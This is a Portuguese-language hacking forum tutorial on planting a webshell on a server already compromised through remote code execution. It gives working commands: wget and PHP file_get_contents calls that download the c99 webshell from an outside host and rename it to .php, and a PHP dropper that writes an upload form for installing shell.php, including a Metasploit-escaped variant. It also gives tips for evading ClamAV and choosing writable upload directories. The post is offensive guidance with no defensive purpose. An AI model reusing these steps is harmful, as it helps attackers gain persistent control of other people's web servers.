Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Code Execution: Como enviar webshell

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Code Execution: Como enviar webshell

    Olá

    Ao contrário dos meus outros tópicos, este será direto ao ponto (eu acho). É apenas uma dica rápida para quem está explorando Remote Code Execution, mas não está feliz com as limitações da exploração. Não se acostuma a escrever códigos PHP e precisa de uma interface gráfica, uma webshell. É simples! Vamos enviar uma webshell! Para isso, vamos tentar de algumas maneiras:

    Via wget
    Isto pode ser útil caso você esteja explorando um Remote Command Execution (em Command, você acessa o terminal do sistema a partir da vulnerabilidade. Em Code, você executa códigos de linguagens web (PHP, ASP etc)), ou simplesmente quer economizar trabalho. Simplesmente baixe, para dentro do servidor, uma webshell. Lembre-se que, no servidor remoto, ela não pode ser interpretada (eu recomendo colocá-la em formato .txt, como se fosse fazer um Remote File Inclusion. Para os preguiçosos de plantão, o site Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... já disponibiliza webshells em formato txt. Feito isso, faça:
    Código:
    wget http://www.sh3ll.org/c99.txt && mv c99.txt c99.php
    Isso irá baixar e renomear o arquivo, para voltar sua extensão para .php. Acesse a shell
    Abriu? Não?

    Baixando via PHP
    Ok, o procedimento é semelhante ao anterior, mas o download será feito inteiramente pelo PHP. Execute o seguinte código:
    Código PHP:
    file_put_contents('c99.php'file_get_contents('http://www.sh3ll.org/c99.txt')); 
    Isto gravará o arquivo c99.php (você pode alterar o diretório do mesmo, em caso de problemas com permissões de escrita) contendo o conteúdo do arquivo da shell em TXT.
    Agora conseguiu, não é mesmo? Ainda não?!

    Criando um formulário de upload
    Bem, este é um pouquinho mais trabalhoso (mas bem pouquinho mesmo), mas dá mais garantia de sucesso.
    Este procedimento é parecido com o anterior, mas não com o primeiro. Isso porque nós executaremos um código em PHP para escrever um arquivo dentro do servidor, mas nada que precise baixar arquivos de outros servidores.
    Veja o código:
    Código PHP:
    file_put_contents('upload.php', '<?php if($_SERVER[\'REQUEST_METHOD\']==\'POST\') { move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], \'./shell.php\'); } else { ?><form enctype=\'multipart/form-data\' method=\'post\'> <input name=\'userfile\' type=\'file\' /><input type=submit></form> <?php }');
    Este código escreverá o arquivo 'upload.php' que, ao ser acessado, exibe apenas um formulário de upload. Então você seleciona sua webshell e clica no botão Enviar. Nada será exibido, pois nossa intenção é cortar bytes onde pudermos para minimizar o tamanho deste código (por essa razão não escrevemos toda a webshell no código). Assim, após enviar a shell e receber uma página em branco, acesse o arquivo 'shell.php' que será criado no mesmo lugar de 'upload.php'. Lá está sua webshell

    Se não encontrar upload.php ou shell.php no diretório, escolha outro diretório. Pode ser problema de falta de permissão de escrita (chmod). Uma dica é preferir diretórios de upload de figuras, por exemplo.

    Se estiver utilizando um exploit para Metasploit, por exemplo, lembre-se de escapar, não apenas as aspas, mas também as próprias barras. Veja como ficaria o nosso último código (a variável phpcode - um exemplo - é a requisitada pelo exploit). Note, também, que alteramos o local onde o nosso arquivo upload.php será criado (e que não é necessário escapar barras não invertidas):
    Código PHP:
    set phpcode file_put_contents(\'imagens/noticias/upload.php\', \'<?php if($_SERVER[\\\'REQUEST_METHOD\\\']==\\\'POST\\\') { move_uploaded_file($_FILES[\\\'userfile\\\'][\\\'tmp_name\\\'], \\\'./shell.php\\\'); } else { ?><form enctype=\\\'multipart/form-data\\\' method=\\\'post\\\'> <input name=\\\'userfile\\\' type=\\\'file\\\' /><input type=submit></form> <?php }\');
    Mas se você conseguiu enviar o upload.php, mas não conseguiu acessar sua webshell, pode ser que alguma ferramenta similar ao ClamAV (um antivírus para ambientes Unix) esteja rodando no servidor e excluiu sua webshell (tenha certeza disso se uma página de erro 403 Forbidden foi exibida). Neste caso, convém utilizar uma outra webshell ou algo mais lícito, como um Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... O meu predileto é Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....

    Prontinho, dica dada (embora o texto tenha ficado bem maior do que eu imaginei...). Até mais!
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads
X
Working...
X